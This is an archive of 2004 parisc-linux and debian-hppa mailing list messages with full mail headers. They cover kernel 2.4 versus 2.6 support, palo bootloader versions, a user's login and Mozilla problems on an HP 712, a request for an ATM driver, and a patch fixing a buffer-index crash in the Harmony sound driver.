Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9C9923BDEE; Tue, 25 May 2004 09:26:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by free.linux.hp.com (Postfix) with ESMTP id 05B473BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 09:26:52 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i4PFQdi20191; Tue, 25 May 2004 11:26:39 -0400
In-Reply-To: <20040525054216.GD7207@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21669

On Tue, 2004-05-25 at 00:42, Randolph Chung wrote:
> I should also point out that, really, this is nothing new, we've
> probably been operating in this mode for the last year; it's just
> never been made explicit.. :)

Well, I think it's basically the democracy of open source.  I did quite
a few (although by no means all) of the kernel fixes to get the
gcc/glibc tests to pass on 2.6, I have no interest in fixing it on 2.4,
but if someone else cares enough, they will...

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Tue, 25 May 2004 18:19:15 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20040526001915.GA20667@colo.lackof.org>
References: <20040524183227.GW7207@tausq.org>
	<20040524193205.GB51036@parc.styx.org>
	<20040525040226.GA1308@colo.lackof.org>
	<20040525173610.GA764@parc.styx.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623457 9482 80.91.229.3 (22 Nov 2014 02:30:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: William Waites <ww@parc.styx.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9225 invoked by uid 65534); 26 May 2004 00:19:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 26 May 2004 02:19:27 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E7AFE3BE01; Tue, 25 May 2004 18:19:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 67DD53BDE7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 18:19:15 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 613DD298015; Tue, 25 May 2004 18:19:16 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 20472-06; Tue, 25 May 2004 18:19:15 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5B14F298029; Tue, 25 May 2004 18:19:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040525173610.GA764@parc.styx.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21670

On Tue, May 25, 2004 at 01:36:10PM -0400, William Waites wrote:
...
> At this moment I am unsure of the state of palo in
> debian/testing...

AFAICT, palo 1.5 is has not been accepted into "testing" yet.

But I strongly reccomend installing 1.5 since it clearly fixes
the only currently known bug in 1.4 and adds some nice features
like "ls" command (kudos to james again).

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Harmony - buffer underrun crash fix
Date: Tue, 25 May 2004 21:43:02 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <20040525204302.GA975@calypso>
References: <20040222092057.GA2590@calypso> <20040223035601.GA988@calypso>
	<20040511052451.GC27478@colo.lackof.org>
	<20040523234200.GA1893@calypso>
	<20040524081200.3d14256b.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623457 9483 80.91.229.3 (22 Nov 2014 02:30:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30044 invoked by uid 65534); 25 May 2004 20:43:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 25 May 2004 22:43:15 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 30A253BDF9; Tue, 25 May 2004 14:43:08 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta08-svc.ntlworld.com (mta08-svc.ntlworld.com [62.253.162.48])
	by free.linux.hp.com (Postfix) with ESMTP id 356A33BDE7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 14:43:04 -0600 (MDT)
Original-Received: from calypso ([62.254.21.7]) by mta08-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040525204302.KTRM21846.mta08-svc.ntlworld.com@calypso>;
	Tue, 25 May 2004 21:43:02 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BSilK-0000JL-00; Tue, 25 May 2004 21:43:02 +0100
Content-Disposition: inline
In-Reply-To: <20040524081200.3d14256b.varenet@esiee.fr>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21671

On Mon, May 24, 2004 at 08:12:00AM +0200, Thibaut VARENE wrote:

> There's been a suspected buffer overflow in the code for years, and it's
> a known "feature" that the driver may randomly panic the kernel. Patch
> welcome.

Thanks.  I had assumed that this was black magic and I'd never be able
to fix it, but thanks to your encouragement, I've taken a look and I now
have a fix for the crash, as well as a sample skipping problem that I
was previously unaware of:

Index: harmony.c
===================================================================
RCS file: /var/cvs/linux-2.4/drivers/sound/harmony.c,v
retrieving revision 1.28
diff -u -r1.28 harmony.c
--- harmony.c	22 Jun 2002 09:05:59 -0000	1.28
+++ harmony.c	25 May 2004 19:15:21 -0000
@@ -537,6 +537,7 @@
 	int count = 0;
 	int frame_size;
 	int buf_to_fill;
+	int fresh_buffer;
 
 	if (!harmony.format_initialized) 
 	   harmony_format_auto_detect(buffer, total_count);
@@ -556,12 +557,16 @@
 		
 		
 		buf_to_fill = (harmony.first_filled_play+harmony.nb_filled_play); 
-		if (harmony.play_offset)
+		if (harmony.play_offset) {
 			buf_to_fill--;
+			buf_to_fill += MAX_BUFS;
+		}
 		buf_to_fill %= MAX_BUFS;
-
+		
+		fresh_buffer = (harmony.play_offset == 0);
+		
 		/* Figure out the size of the frame */
-		if ((total_count-count) > HARMONY_BUF_SIZE - harmony.play_offset) {
+		if ((total_count-count) >= HARMONY_BUF_SIZE - harmony.play_offset) {
 			frame_size = HARMONY_BUF_SIZE - harmony.play_offset;
 		} else {
 			frame_size = total_count - count;
@@ -578,7 +583,7 @@
 		CHECK_WBACK_INV_OFFSET(played_buf, (HARMONY_BUF_SIZE*buf_to_fill + harmony.play_offset), 
 				frame_size);
 	
-		if (!harmony.play_offset)
+		if (fresh_buffer)
 			harmony.nb_filled_play++;
 		
 		count += frame_size;

Lines 560-563 fix the crash, which was caused by buf_to_fill taking the
value -1 (since -1 % MAX_BUFS == -1).

Lines 540, 566, 586/587 should fix a bug where samples were skipped.

The change to line 569 prevents harmony_silence from being called
whenever the final frame that is to be copied completely fills a buffer.

I'm a bit of a newbie here... can a harmony_interrupt occur whilst we're
in harmony_audio_write?
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: no login with 2.6 kernel and Mozilla probs on 712/60
Date: Wed, 26 May 2004 06:49:11 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <BAY1-F117ErcD9YNrPX0002ebed__5503.97995762086$1416623457$gmane$org@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1;
  format=flowed
X-Trace: ger.gmane.org 1416623457 9486 80.91.229.3 (22 Nov 2014 02:30:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32589 invoked by uid 65534); 26 May 2004 06:49:24 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx040) with SMTP; 26 May 2004 08:49:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id D093AEA22; Wed, 26 May 2004 01:49:13 -0500 (CDT)
Old-Return-Path: <kennywest1@hotmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hotmail.com (bay1-f117.bay1.hotmail.com [65.54.245.117])
	by murphy.debian.org (Postfix) with ESMTP id 400D1EC36
	for <debian-hppa@lists.debian.org>; Wed, 26 May 2004 01:49:08 -0500 (CDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 25 May 2004 23:49:11 -0700
Original-Received: from 212.224.137.99 by by1fd.bay1.hotmail.msn.com with HTTP;
	Wed, 26 May 2004 06:49:11 GMT
X-Originating-IP: [212.224.137.99]
X-Originating-Email: [kennywest1@hotmail.com]
X-Sender: kennywest1@hotmail.com
X-OriginalArrivalTime: 26 May 2004 06:49:11.0507 (UTC) FILETIME=[8D182A30:01C442ED]
X-Rc-Virus: 2004-05-14_01
X-Rc-Spam: 2004-05-23_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_26_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-1.0 required=4.0 tests=LDOSUBSCRIBER autolearn=no 
	version=2.63-lists.debian.org_2004_05_26_01
Resent-Message-ID: <WhIc6.A.RHC.p3DtAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3624
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 26 May 2004 01:49:13 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21672

Hi all,

I did an apt-get of the latest 2.6.6 kernel on my Woody system using:
apt-get install palinux-712-defconfig-2.6.1-pa3

The kernel boots fine, but I can't logon, because apparently I lost 
keyboard. This is probably due to the fact that I'm running Woody, instead 
of Testing or Unstable. I was wondering which is the best option to upgrade 
to. Is it better to use Testing or do I need Unstable.

The reason I was upgrading to 2.6 is because Mozilla (and Galeon) were 
segfaulting on my older 2.4.20 kernel.  Are there any people on the list 
successfully running Mozilla on Woody?

Many thanks in advance.


regards,

Kenneth

_________________________________________________________________
Maak online je eigen website met Webbuilder http://webbuilder.msn.be


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-2?Q?Bart=B3omiej_Ochman?= <fback@fback.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Alaxis GSC+ 155Mb ATM
Date: Wed, 26 May 2004 17:38:15 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <40B4B9E7.5080003@fback.net>
References: <40B250F8.4020203@ark.pl> <20040525041841.GC1308@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623458 9491 80.91.229.3 (22 Nov 2014 02:30:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5926 invoked by uid 65534); 26 May 2004 15:40:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 26 May 2004 17:40:04 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B917F3BE01; Wed, 26 May 2004 09:39:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Centaur.SILWEB.PL (centaur.SILWEB.PL [212.106.191.113])
	by free.linux.hp.com (Postfix) with ESMTP id 5D0C93BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 May 2004 09:39:47 -0600 (MDT)
Original-Received: from chlew.home.fback.net (root@chlew.home.fback.net [80.53.236.154])
	by Centaur.SILWEB.PL (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i4QFblUw023110 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 May 2004 17:37:48 +0200
Original-Received: from fback.net (fback@wifi2.home.fback.net [192.168.1.2])
	(authenticated bits=0)
	by chlew.home.fback.net (8.12.11/8.12.11/Debian-3) with ESMTP id
	i4QFdb6e017107
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 May 2004 17:39:37 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en-us, pl
In-Reply-To: <20040525041841.GC1308@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21673

Grant Grundler wrote:

>I'm not aware of any driver for it. You might check with the hppa *BSD
>folks. [...]
>
I've checked there, but no system, except HP-UX, with the driver found.
Is anybody, beside me, interested in this driver to be written?

>[...] I don't have docs or anything though I suppose someone in HP must.
>  
>
Do you think they would give me this documentation? Can you point 
somebody in HP to write to?

Regards,
BO
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: no login with 2.6 kernel and Mozilla probs on
	712/60
Date: Wed, 26 May 2004 10:11:57 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20040526161157.GC4087__37247.3986623392$1416623458$gmane$org@colo.lackof.org>
References: <BAY1-F109SYgkkpNnPd0002f227@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623458 9493 80.91.229.3 (22 Nov 2014 02:30:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:58 +0000 (UTC)
Cc: stefano.melchior@fastwebnet.it,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Kenneth Westelinck <kennywest1@hotmail.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22550 invoked by uid 65534); 26 May 2004 16:12:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 26 May 2004 18:12:21 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C0AAD3BE07; Wed, 26 May 2004 10:12:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4DCCD3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 May 2004 10:11:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 620B4298052; Wed, 26 May 2004 10:11:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04217-09; Wed, 26 May 2004 10:11:57 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7D1F529803C; Wed, 26 May 2004 10:11:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <BAY1-F109SYgkkpNnPd0002f227@hotmail.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21674

On Wed, May 26, 2004 at 09:08:10AM +0000, Kenneth Westelinck wrote:
> >There is no need to use unstable instead of testing!
> Ok, thanks for that.

yeah - testing has usually worked well with occasional minor brokenness.
(wow...see what the internet has done to my english! :^)
I've been running "testing" on my desktop/http/ftp servers for
the past couple of years and only had a few SNAFUs.
(palo was the most recent one).

BTW, if you move forward to testing (recomended), you can add
another source to /etc/apt/sources.list to pick up the
latest kernels (not auto updated). It's documented here:
	http://cvs.parisc-linux.org/download/linux-2.6/

There is a similar web page for 2.4 parisc kernels.

> Ok, I'll try that one, there's nothing broken yet. I successfully rolled 
> back to the old situation ;)
> Is there ongoing parisc support/development for the 2.4.x series, or are 
> you guys only focussing on the 2.6?

That's what the original question was about.
For the past 6-12 monthes, we've mostly focused on 2.6 devel.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: no login with 2.6 kernel and Mozilla probs on
	712/60
Date: Wed, 26 May 2004 10:21:34 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20040526162134.GD4087__34490.5703365386$1416623458$gmane$org@colo.lackof.org>
References: <BAY1-F109SYgkkpNnPd0002f227@hotmail.com>
	<20040526161157.GC4087@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623458 9496 80.91.229.3 (22 Nov 2014 02:30:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:58 +0000 (UTC)
Cc: Kenneth Westelinck <kennywest1@hotmail.com>,
 stefano.melchior@fastwebnet.it,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21332 invoked by uid 65534); 26 May 2004 16:21:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 26 May 2004 18:21:50 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 98B7B3BE0A; Wed, 26 May 2004 10:21:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B0D4F3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 May 2004 10:21:36 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id B42A4298052; Wed, 26 May 2004 10:21:35 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04424-06; Wed, 26 May 2004 10:21:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 08A9029803C; Wed, 26 May 2004 10:21:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040526161157.GC4087@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
